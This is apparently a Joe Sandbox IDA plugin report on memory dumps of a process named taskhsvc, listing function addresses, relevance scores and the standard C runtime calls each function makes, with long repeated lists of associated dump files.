Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031AD40, Relevance: 12.2, APIs: 8, Instructions: 204

APIs

abort.MSVCRT ref: 0031ADAF
abort.MSVCRT ref: 0031ADEE
__stack_chk_fail.LIBSSP-0 ref: 0031AFED

Part of subcall function 00319A20: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0031AE1A), ref: 00319A74

strchr.MSVCRT ref: 0031AE3D
strstr.MSVCRT ref: 0031AE5A
strchr.MSVCRT ref: 0031AE76

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 0031AEE4
strlen.MSVCRT ref: 0031AF08

Part of subcall function 003214A4: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 003214FA
Part of subcall function 003214A4: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 0032153C
Part of subcall function 003214A4: strncpy.MSVCRT ref: 00321566
Part of subcall function 003214A4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 00321584

Part of subcall function 00322124: strchr.MSVCRT ref: 0032215B
Part of subcall function 00322124: __stack_chk_fail.LIBSSP-0 ref: 0032219D

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002DF474, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 477

APIs

abort.MSVCRT ref: 002DF514
strlen.MSVCRT ref: 002DF53D
memchr.MSVCRT ref: 002DF571

Part of subcall function 002DE4A0: abort.MSVCRT ref: 002DE529
Part of subcall function 002DE4A0: abort.MSVCRT ref: 002DE5BE
Part of subcall function 002DE4A0: memchr.MSVCRT ref: 002DE5EE
Part of subcall function 002DE4A0: abort.MSVCRT ref: 002DECD7
Part of subcall function 002DE4A0: memchr.MSVCRT ref: 002DED07
Part of subcall function 002DE4A0: memchr.MSVCRT ref: 002DEDAC
Part of subcall function 002DE4A0: abort.MSVCRT ref: 002DEFAD
Part of subcall function 002DE4A0: memchr.MSVCRT ref: 002DEFD7
Part of subcall function 002DE4A0: strcmp.MSVCRT ref: 002DF193
Part of subcall function 002DE4A0: strcmp.MSVCRT ref: 002DF262
Part of subcall function 002DE4A0: __stack_chk_fail.LIBSSP-0 ref: 002DF466

Part of subcall function 002DDDB7: __stack_chk_fail.LIBSSP-0 ref: 002DDDF1

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 00322710: abort.MSVCRT ref: 00322766
Part of subcall function 00322710: abort.MSVCRT ref: 003227B5
Part of subcall function 00322710: __stack_chk_fail.LIBSSP-0 ref: 0032281B

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 002DFC98

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

@2@, xrefs: 002DF490
PF, xrefs: 002DF86D

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E5B8F, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 280

APIs

Part of subcall function 001E5A9A: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5BF8), ref: 001E5B33
Part of subcall function 001E5A9A: __stack_chk_fail.LIBSSP-0 ref: 001E5B88

__stack_chk_fail.LIBSSP-0 ref: 001E5FE0

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001E3214: strlen.MSVCRT ref: 001E323C
Part of subcall function 001E3214: __stack_chk_fail.LIBSSP-0 ref: 001E3269

atoi.MSVCRT ref: 001E5DE7
abort.MSVCRT ref: 001E5F86

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 001E52AC: abort.MSVCRT ref: 001E533A
Part of subcall function 001E52AC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001C33C1), ref: 001E5350

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 001E3826: abort.MSVCRT ref: 001E390F
Part of subcall function 001E3826: abort.MSVCRT ref: 001E398A
Part of subcall function 001E3826: abort.MSVCRT ref: 001E3A1C
Part of subcall function 001E3826: memcpy.MSVCRT ref: 001E3A4E
Part of subcall function 001E3826: memcpy.MSVCRT ref: 001E3AB6
Part of subcall function 001E3826: abort.MSVCRT ref: 001E3B2D
Part of subcall function 001E3826: __stack_chk_fail.LIBSSP-0 ref: 001E3B52

Strings

UUA, xrefs: 001E5F66
DeA, xrefs: 001E5F6E
, xrefs: 001E5E05

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C56C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 210

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

time.MSVCRT ref: 001C56F9

Part of subcall function 0032545C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CA788), ref: 00325486

Part of subcall function 00206B33: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,001C57A7), ref: 00206C08

Part of subcall function 00205E05: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C57AC), ref: 00205F31

Part of subcall function 0020617A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,001C57B1), ref: 00206215

Part of subcall function 00205F3D: __stack_chk_fail.LIBSSP-0 ref: 0020604B

Part of subcall function 0020692E: free.MSVCRT ref: 00206A1C
Part of subcall function 0020692E: free.MSVCRT ref: 00206A56
Part of subcall function 0020692E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,001C57BB), ref: 00206A72

Part of subcall function 0025B356: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002241AB), ref: 0025B3B6

__stack_chk_fail.LIBSSP-0 ref: 001C59FE

Part of subcall function 0025B0C8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,0025A37E,?,?,?,?,?,?,?,?,?,0025A412), ref: 0025B107

Part of subcall function 001C18D5: __stack_chk_fail.LIBSSP-0 ref: 001C18F5

free.MSVCRT ref: 001C59A4

Part of subcall function 0025A3A0: __stack_chk_fail.LIBSSP-0 ref: 0025A3EA

free.MSVCRT ref: 001C58EB

Part of subcall function 0025A3F1: __stack_chk_fail.LIBSSP-0 ref: 0025A45C

Part of subcall function 0032FA37: __stack_chk_fail.LIBSSP-0 ref: 0032FA98

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00208197: __stack_chk_fail.LIBSSP-0 ref: 00208216

Part of subcall function 002C5384: __stack_chk_fail.LIBSSP-0 ref: 002C5456

Strings

c, xrefs: 001C59B6
t@, xrefs: 001C5948

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00229FAA, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159

APIs

free.MSVCRT ref: 0022A1E7

Part of subcall function 00229D8C: strcmp.MSVCRT ref: 00229E0E
Part of subcall function 00229D8C: free.MSVCRT ref: 00229E60
Part of subcall function 00229D8C: free.MSVCRT ref: 00229E9F
Part of subcall function 00229D8C: strcmp.MSVCRT ref: 00229ED1
Part of subcall function 00229D8C: __stack_chk_fail.LIBSSP-0 ref: 00229F66

free.MSVCRT ref: 0022A03C
__stack_chk_fail.LIBSSP-0 ref: 0022A20C

Part of subcall function 0032587B: _stati64.MSVCRT ref: 00325913
Part of subcall function 0032587B: free.MSVCRT ref: 0032592C
Part of subcall function 0032587B: __stack_chk_fail.LIBSSP-0 ref: 003259BE

Part of subcall function 00326B1B: abort.MSVCRT ref: 00326B85
Part of subcall function 00326B1B: strerror.MSVCRT ref: 00326BFE
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326C73
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326CDE
Part of subcall function 00326B1B: strerror.MSVCRT ref: 00326D57
Part of subcall function 00326B1B: free.MSVCRT ref: 00326D9F
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326DB1
Part of subcall function 00326B1B: strchr.MSVCRT ref: 00326DED
Part of subcall function 00326B1B: strlen.MSVCRT ref: 00326E4C
Part of subcall function 00326B1B: free.MSVCRT ref: 00326EEB
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326EFD
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326F1D
Part of subcall function 00326B1B: memcpy.MSVCRT ref: 00326F3D
Part of subcall function 00326B1B: __stack_chk_fail.LIBSSP-0 ref: 00326F50

free.MSVCRT ref: 0022A14F

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Strings

\:C, xrefs: 0022A1B8
<NULL>, xrefs: 0022A079

Memory Dump Source

Source File: 00000013.00000002.1855077166.00228000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003259C5, Relevance: 10.7, APIs: 7, Instructions: 151

APIs

abort.MSVCRT ref: 00325A21

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Part of subcall function 003257BB: strlen.MSVCRT ref: 003257D7
Part of subcall function 003257BB: __stack_chk_fail.LIBSSP-0 ref: 00325841

_stati64.MSVCRT ref: 00325A8E
free.MSVCRT ref: 00325AA7
strerror.MSVCRT ref: 00325AD7
_mkdir.MSVCRT ref: 00325B54
strerror.MSVCRT ref: 00325B72
__stack_chk_fail.LIBSSP-0 ref: 00325C45

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

